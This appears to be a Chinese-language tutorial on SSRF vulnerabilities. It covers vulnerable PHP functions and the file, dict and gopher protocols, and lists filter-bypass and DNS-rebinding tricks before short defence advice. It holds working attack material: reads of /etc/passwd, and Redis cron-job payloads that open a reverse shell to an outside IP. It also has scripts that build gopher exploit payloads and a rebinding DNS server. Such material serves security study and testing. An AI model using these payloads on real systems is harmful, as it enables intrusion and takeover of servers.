SSRF
定义
服务端请求伪造:Server-Side Request Forgery,由攻击者构造使服务端发起请求的漏洞。该请求可以发送至本机、本机所在内网其他服务器、外网等。
一般情况下针对无法从外网直接访问的内部系统
。
原理
服务端提供从其他服务器获取应用数据的功能,但是对其他服务器的地址没有过滤和限制。例如指定url获取网页文本、加载图片等等。
本质上就是利用存在漏洞的服务器作为跳板攻击内部或远程服务器。
常见漏洞场景
加载图片等资源
http://www.test.com/xxx.php?url=http://127.0.0.1
例如某应用加载选择从远程服务器加载图片到本地,如上述url,如果未作限制和过滤可能会存在漏洞
分享功能
http://www.test.com/xxx.php?url=http://www.haha.com
例如某应用通过传递url参数的方式进行分享内容的跳转
收藏功能
http://www.test.com/xxx.php?url=http://www.test.com/aaa
例如某应用通过传递url参数进行文章、图片等内容的收藏
网页源代码中查找带有关键词的url或接口
share、wap、url、src、source、target、u、3g、display、sourceURl、imageURL、domain等等
PHP中常见的可能引发SSRF的函数
- file_get_contents()
如果file_get_contents函数参数可控,可构造url获取本地敏感文件
- fsockopen()
fsockopen(
string $hostname,
int $port = -1,
int &$errno = ?,
string &$errstr = ?,
float $timeout = ini_get("default_socket_timeout")
): resource
该函数打开一个网络连接或者Unix套接字连接到指定主机($hostname),返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。
- curl_exec()
<?php
$link = $_GET['url'];
// 创建一个cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $link);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>
常见利用方式
- 可以对本机、外网、内网其他服务器进行端口扫描并获取一些服务的 banner
- 攻击运行在内网或本地的应用程序,如redis、mysql等
- 对内网其他web 应用进行指纹识别(一般通过请求一些常见的默认指纹文件实现)
- 以当前目标为跳板攻击内外网的 web 应用,一般是使用 get 参数就可以实现的攻击(比如 Struts2 漏洞利用,SQL 注入等)
- 利用 file 协议读取本地文件
常用协议
file
该协议主要获取本机文件,当有回显时,可用来读取本机敏感文件
file:///etc/passwd
dict
词典网络协议,通常用于探测内网端口开放情况,但一般只能探测带TCP回显的端口;
也可用于攻击存在未授权的redis
dict://x.x.x.x:8080/
dict://x.x.x.x:6379/<Redis 命令>
Gopher
gopher 是一个互联网上使用的分布型的文件搜集和获取网络协议,它将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口,支持多个数据包整合发送。只支持文本,不支持图像
gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,再构造成符合 gopher 协议的请求。 gopher 协议是 ssrf 利用中一个最强大的协议(俗称万能协议)
协议格式
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
注意不可省略下划线
_
,该字符可以替换为任何字符,但一定要存在gopher-path可省略
为了得到目标服务的TCP数据流,往往需要使用wireshark、socat等工具抓取原始流量,再对原始流量进行处理
使用gopher发送payload需要进行url编码
当gopher数据包位于http请求中,可能还需要多次url编码
gopher协议构造GET、POST请求
服务端:
<?php
echo "hahaha: ".$_GET["haha"]."\n";
?>
使用bp抓到GET请求包:
GET /ssrf/test.php?haha=ssrf HTTP/1.1
Host: 192.168.66.55
为了构造HTTP协议格式的TCP流,编写转换脚本:
# HTTP协议每行结尾都是"\r\n"
import urllib.parse as urlparse
data = """GET /ssrf/test.php?haha=ssrf HTTP/1.1
Host: 192.168.66.55
"""
ip = "192.168.66.55"
port = 80
encode_data = urlparse.quote(data)
encode_data = encode_data.replace('%0A','%0D%0A')
result = 'gopher://{0}:{1}/'.format(ip, port) + '_' + encode_data
print(result)
转换结果如下:
发送gopher请求:
构造POST请求类似如上,但需要注意POST请求必须包含应有的请求头,即POST、Host、Content-Type和Content-Length(为数据体内容的长度)
漏洞利用
获取本地信息
# 读取敏感文件
file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces
# 探测端口
dict://127.0.0.1:6379/info
攻击未授权Redis
- 有web尝试写webshell
- 若支持SSH公钥认证尝试写公钥
- 写定时任务
dict协议
dict://127.0.0.1:6379/flushall
# 定时任务目录
dict://127.0.0.1:6379/config set dir /var/spool/cron/
# root用户的定时任务文件
dict://127.0.0.1:6379/config set dbfilename root
# 写反弹shell的payload
dict://127.0.0.1:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/7777 0>%261\n"
dict://127.0.0.1:6379/save
&
符号需要url编码
gopher协议
编写脚本:
redis-cli -h $1 -p $2 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.66.64/8888 0 >&1\n\n"|redis-cli -h $1 -p $2 -x set haha
redis-cli -h $1 -p $2 config set dir /var/spool/cron
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
使用 socat 模拟抓取原始的 Redis 数据流量:
socat -v TCP-LISTEN:7777,fork TCP-CONNECT:192.168.66.64:6379
执行脚本:
获取到的中间流量:
流量转换:
流量抓换的目的是构造符合目标服务的TCP数据流,观察发现抓取到的流量是\r
结尾,而Redis是以CRLF (\r\n
)结尾,所以要进行替换,并进行字符url编码
转换脚本:
# coding: utf-8
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第 2、3 字符串是否为 \r
elif line[-3:-1] == r'\r':
# 如果该行只有 \r,将 \r 替换成 %0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为 %0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp.replace("$", "%24")
转换后的结果:
使用curl发送gopher协议数据包,可成功执行Redis命令写入计划任务:
可使用Gopherus工具https://github.com/tarunkant/Gopherus
,直接生成exp:
攻击未授权MySQL
当MySQL无需密码认证时可直接发送 TCP/IP 数据包。因此在SSRF漏洞下可直接利用gopher攻击无认证的MySQL。
tcpdump抓取原始数据包:
# lo 本地回环网卡
tcpdump -i lo port 3306 -w mysql.pcapng
有待解决??? 未利用成功
绕过方式
IP
- 短网址302跳转
- 域名解析到内网,例如127.0.0.1.xip.io > 127.0.0.1
- 改写IP
- 192.168.1.1
- 八进制:0300.0250.1.1
- 十六进制:0xC0.0xA8.1.1
- 十进制整数格式(C0A80101的十进制数):3232235777
- 十六进制数格式:0xC0A80101
- @:http://www.baidu.com@192.168.1.1/ > http://192.168.1.1
DNS 重绑定
原理
常见的针对SSRF的修复方案如下:
即:先对url中的host进行DNS解析,根据解析到的IP进行白名单判断,不在白名单范围就拒绝请求,在范围内服务端就请求该url。当服务端进行url请求时会进行第二次DNS解析,然而两次DNS解析明显存在时间差,可利用时间差绕过。
DNS中TTL指的是域名和IP绑定关系的Cache在DNS上存活的最长时间,在这个时间内当域名到达后且缓存里有该域名记录,则直接返回缓存好的结果,如果超过TTL则丢弃缓存,当域名到达后就会重新向上层域名服务器请求解析,再重新建立缓存。
因此要利用时间差进行重绑定本质就是:利用两次解析同一域名的间隙(超过了TTL),更换域名解析结果从而绕过防御。
实际情况中会有不理想的情况:
- java中DNS请求成功的话默认缓存30s(字段为networkaddress.cache.ttl,默认情况下没有设置),失败的默认缓存10s。可在/Library/Java/JavaVirtualMachines/jdk/Contents/Home/jre/lib/security/java.security 中配置
- 在php中则默认没有缓存
- Linux默认不会进行DNS缓存,mac和windows会缓存
- 有些公共DNS服务器,比如114.114.114.114会把记录进行缓存,但是8.8.8.8是严格按照DNS协议去管理缓存的,如果设置TTL为0,则不会进行缓存
利用
在线平台:
自建DNS服务:
- 首先需要指定某域名的域名服务器,设置NS记录:test.com NS dns.com
- 也要有自建dns服务器(dns.com)的A记录,指明其IP:dns.com A 39.94.x.x
- 自建服务器的DNS解析实现,使用python的 twisted.names(一个建立DNS服务端和客户端的库):
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name] < 1:
# 随意一个可绕过检查的IP
ip = "104.160.43.154"
else:
ip="127.0.0.1"
if name not in record:
record[name] = 0
record[name] += 1
print name + " ===> " + ip
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s' % ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
防御
- 禁用不需要的协议,仅仅允许http和https请求。防止类似于
file、gopher、ftp
等引起的问题 - 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
- 限制端口
- 验证返回内容:根据请求资源的类型验证返回内容是否符合该类型格式
- 统一错误信息和回显内容